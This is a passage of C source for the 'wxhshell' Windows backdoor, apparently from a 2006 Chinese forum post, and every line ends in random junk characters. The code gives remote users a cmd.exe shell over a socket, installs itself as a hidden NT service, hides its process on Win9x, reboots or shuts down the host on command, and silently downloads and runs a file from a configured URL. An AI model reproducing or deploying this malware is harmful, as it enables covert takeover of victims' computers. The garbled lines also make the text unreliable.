      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9gA@D%0  
    break; V06*qQ[  
  } f&$Bjq  
  // 安装 6{;6~?U  
  case 'i': { [NE!  
    if(Install()) _b8KK4UR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k(G6` dY  
    else @Nb/n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <U$YJtEK  
    break; 1M`>;fjYa  
    } <SJ6<'  
  // 卸载 7[=G;2<  
  case 'r': { }eSy]r[J  
    if(Uninstall()) dm/3{\ 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7W}%ralkg  
    else !Fs$W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !r.-7hR$  
    break; D'[:35z  
    } &FmTT8"l  
  // 显示 wxhshell 所在路径 8/p ]'BLf  
  case 'p': { =xkaF)AW&v  
    char svExeFile[MAX_PATH]; f-#:3k*7S  
    strcpy(svExeFile,"\n\r"); PI L)(%X  
      strcat(svExeFile,ExeFile); vFHeGq70j  
        send(wsh,svExeFile,strlen(svExeFile),0); `=;}I@]zj)  
    break; r]LP=K1  
    } *-*V>ntvT$  
  // 重启 nZ=[6?  
  case 'b': { >3g`6d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >A{e,&  
    if(Boot(REBOOT)) Z?S?O#FED  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bCP2_h3*  
    else { "{@[06|1  
    closesocket(wsh); 9.xb-m7  
    ExitThread(0); { (.@bT@  
    } >]_6|Wfl  
    break; ,L  
    } hfJ&o7Dt  
  // 关机 Z[[*:9rY|  
  case 'd': { '9]?jkl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DCa[?|Y  
    if(Boot(SHUTDOWN)) VS4Glx73  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .qe+"$K'n  
    else { 3VU4E|s>  
    closesocket(wsh); \x$`/  
    ExitThread(0); mK TF@DED  
    } ;fV"5H)U\  
    break; _b>z'4_'  
    } \<9aS Y'U  
  // 获取shell R-$w* =Y  
  case 's': { D|U bh]  
    CmdShell(wsh); 'O 7:=l  
    closesocket(wsh); v 2rzHzFU  
    ExitThread(0); 5f_x.~ymA  
    break; c^"4l 9w  
  } nv0D4 t  
  // 退出 851BOkRal4  
  case 'x': { LTBH/[q5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0-OKbw5%=b  
    CloseIt(wsh); CC@U'9]bH  
    break; :icpPv  
    } Q7pCF,;  
  // 离开 noaR3)  
  case 'q': { S7j(4@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `[E-V  
    closesocket(wsh); {pi_yr3  
    WSACleanup(); C:&Sk\   
    exit(1); wGMoh.GTh  
    break; ;*K;)C  
        } XU<owk  
  } h('5x,G%  
  } 1LFad>`  
'H`:c+KDG`  
  // 提示信息 yS K81`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `tO t+>YWn  
} @lM-+q(tl  
  } B]hRYU  
,;YNI  
  return; 3 u=\d)eq  
} G$_)X%Vb I  
{8":c n j  
// shell模块句柄 QgH{J8 0  
int CmdShell(SOCKET sock) ekfa"X_  
{ ^Rl?)_)1HE  
STARTUPINFO si; i \Yd_  
ZeroMemory(&si,sizeof(si)); %q r,Ssa/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @) MG&X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jB9~'>JY  
PROCESS_INFORMATION ProcessInfo; &B :L9^  
char cmdline[]="cmd"; [+5g 9tBJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lO9Ixhf~iu  
  return 0; e6J>qwD?  
} kDJqT  
|61ns6i!  
// 自身启动模式 vx6lud0k}  
int StartFromService(void) nIlx?(=pu  
{ eo;MFd%;  
typedef struct DdISJWc'`5  
{ TqS s*as5  
  DWORD ExitStatus; xIc||o$  
  DWORD PebBaseAddress; DHjfd+E=s  
  DWORD AffinityMask; FW2x  
  DWORD BasePriority; ( !m6>m2  
  ULONG UniqueProcessId; <  j  
  ULONG InheritedFromUniqueProcessId; H #X*OJ  
}   PROCESS_BASIC_INFORMATION; v:!TqfI  
3GL?&(eU;  
PROCNTQSIP NtQueryInformationProcess; ":sp0(`h  
~c+=$SL-=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7r3CO<fb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OP=oSfa  
T6?03cSE  
  HANDLE             hProcess; #CJ ET  
  PROCESS_BASIC_INFORMATION pbi; w|I5x}ZFG  
c#?~1@=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1H%p|'FKA  
  if(NULL == hInst ) return 0; 1bz^$2/k  
55`p~:&VQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (,mV6U%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }"RVUYU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1Xh@x  
?|NsaW  
  if (!NtQueryInformationProcess) return 0; 2u0B=0x  
it>Bf;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1f"}]MbLR  
  if(!hProcess) return 0; XdzC/ {G  
f;+.j/ +  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :|&6x!  
SY.koW  
  CloseHandle(hProcess); n0K+/}m  
UH7?JF-D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fQ.S ,lMe  
if(hProcess==NULL) return 0; ,'<NyA><  
KqBiF]Q  
HMODULE hMod; #;1RStb:zj  
char procName[255]; ^?q(fK%  
unsigned long cbNeeded; +wHa)A0MW  
iYdg1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "NEKz  
EronNtu8i  
  CloseHandle(hProcess); |Ul4n@+2  
)-iUUak  
if(strstr(procName,"services")) return 1; // 以服务启动 N!tNRMTi  
hp7ni1V  
  return 0; // 注册表启动 MCXt,`}[  
} z)eNM}cF  
2>J;P C[;  
// 主模块 1?"Zrd  
int StartWxhshell(LPSTR lpCmdLine) hr&UD|E=  
{ 1b7?6CqV  
  SOCKET wsl; E=bZ4 /  
BOOL val=TRUE; f*m^x7  
  int port=0; W=#jtU`:5  
  struct sockaddr_in door; >r4BI}8SK<  
C.}ho.} r  
  if(wscfg.ws_autoins) Install(); PKGqu,J,  
`$JOFLa  
port=atoi(lpCmdLine); G!D~*B9 G  
AGx(IK/_  
if(port<=0) port=wscfg.ws_port; gxVJH'[V5  
hbx+*KM  
  WSADATA data; 11!4#z6w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fv nf;']q  
-O@/S9]S)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '&]6(+I>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mu$q) u  
  door.sin_family = AF_INET; ~ihi!u%~}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YR)^F|G  
  door.sin_port = htons(port); 3m~3l d  
X&i" K'mV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { COH.`Tv{*  
closesocket(wsl); SS;'g4h\6  
return 1; eI -FJ/CJ  
} V%^d~^m,H  
7=A @P  
  if(listen(wsl,2) == INVALID_SOCKET) { tg~7^(s  
closesocket(wsl); )_ l( WF.  
return 1; 'E\qqE[;  
} tK\$LZ  
  Wxhshell(wsl); nxuR^6 Ai  
  WSACleanup(); H_l>L9/\  
B+'w'e$6  
return 0; Lf Y[Z4  
|A H@W#7j  
} \J6e/ G  
GlT/JZ9  
// 以NT服务方式启动 S2=x,c$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <1U *{y  
{ Hxj8cX UF|  
DWORD   status = 0; /\pUA!G)BD  
  DWORD   specificError = 0xfffffff; )VG_Y9;Xk:  
c[?&;# feV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S~y.>X3"P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !:D,|k\m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %1i *Y*wg  
  serviceStatus.dwWin32ExitCode     = 0; .n}k,da@(  
  serviceStatus.dwServiceSpecificExitCode = 0; sgB|2cj;j  
  serviceStatus.dwCheckPoint       = 0; l-'\E6grdH  
  serviceStatus.dwWaitHint       = 0; ?&b"/sRS  
z)*\njYe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZB,UQ~!Yr  
  if (hServiceStatusHandle==0) return; KeC&a=HL  
YgkQF0+  
status = GetLastError(); {5T:7*J  
  if (status!=NO_ERROR) w6l56 CB`  
{ v XR27  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `u8=~]rblj  
    serviceStatus.dwCheckPoint       = 0; x=1Sbs w{  
    serviceStatus.dwWaitHint       = 0; pzDz@lAwR  
    serviceStatus.dwWin32ExitCode     = status; V##TG0  
    serviceStatus.dwServiceSpecificExitCode = specificError; * \ tR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N)YoWA>#bF  
    return; 2u} ns8wn  
  } ^cojETOv  
/5:qS\Zl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S`[r]msw  
  serviceStatus.dwCheckPoint       = 0; Wp= &nh  
  serviceStatus.dwWaitHint       = 0; XP@&I[J3sI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .@Jos^rxgJ  
} Dr#V^"Dte  
,j[1!*Z_[  
// 处理NT服务事件,比如:启动、停止 `$r?^|T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,Q8h#0z r  
{ /^ [K  
switch(fdwControl) fR lJ`\ t  
{ i,$n4  
case SERVICE_CONTROL_STOP: /oU$TaB>(  
  serviceStatus.dwWin32ExitCode = 0; Ozc9yy!%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ze#ncnMo  
  serviceStatus.dwCheckPoint   = 0; M`@Es#s  
  serviceStatus.dwWaitHint     = 0; V8z*mnD  
  { `?vI_>md'!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mP ^*nB@,  
  } `)1qq @  
  return; C2K<CDVw  
case SERVICE_CONTROL_PAUSE: 3;EBKGg|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ? )"v~vs  
  break; n,|YJ,v[  
case SERVICE_CONTROL_CONTINUE: l,E4h-$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S2 YxA  
  break; ']vMOGG  
case SERVICE_CONTROL_INTERROGATE: d|$-l:(J  
  break; o){<PN|z  
}; nZkMyRk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ea N^<  
} !%G;t$U=M  
 ev(E  
// 标准应用程序主函数 /C[XC7^4'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZF;s`K)  
{ (FNX>2Mv  
N_y#Y{c{(  
// 获取操作系统版本 X#u< 3<P  
OsIsNt=GetOsVer(); 2H`;?#Uq:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vb k4  
:j% B(@b  
  // 从命令行安装 kX'a*AG  
  if(strpbrk(lpCmdLine,"iI")) Install(); KU;m.{  
unkA%x{W;  
  // 下载执行文件 X0%BE!  
if(wscfg.ws_downexe) { qnU$Pd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vXc gl  
  WinExec(wscfg.ws_filenam,SW_HIDE); [{rne2sA  
} q&EwD(k  
N+ei)-  
if(!OsIsNt) { HlX2:\\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]"\XTL0  
HideProc(); VDPq3`$+v{  
StartWxhshell(lpCmdLine); PAy7b7m~B  
} .h;X5q1  
else <p8>"~ R  
  if(StartFromService()) (I(k$g[>  
  // 以服务方式启动 F#\+.inO  
  StartServiceCtrlDispatcher(DispatchTable);  B*Q  
else C= PV-Ul+  
  // 普通方式启动 +Ram%"Zwh  
  StartWxhshell(lpCmdLine); /Oa.@53tK6  
'5SO3/{b  
return 0; %Z#[{yuFs  
}
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只看该作者 1 发表于: 2006-10-10
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